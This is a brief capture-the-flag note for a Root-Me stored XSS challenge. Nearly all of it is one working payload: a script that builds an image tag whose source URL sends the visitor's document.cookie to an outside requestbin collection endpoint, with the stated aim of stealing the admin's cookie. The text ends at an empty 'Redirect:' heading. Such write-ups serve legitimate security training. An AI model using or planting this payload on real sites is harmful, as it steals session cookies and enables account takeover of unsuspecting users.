[Root-Me] Stored XSS

Recovering the admin’s cookie:

<!-- webhook -->
<script>document.write('<img src="https://public.requestbin.com/r/en46d19pgyk1j/2mfMAJdJpiyKSGTdTVoY3bdAVTS?c='+document.cookie+'" />');</script>

Redirect: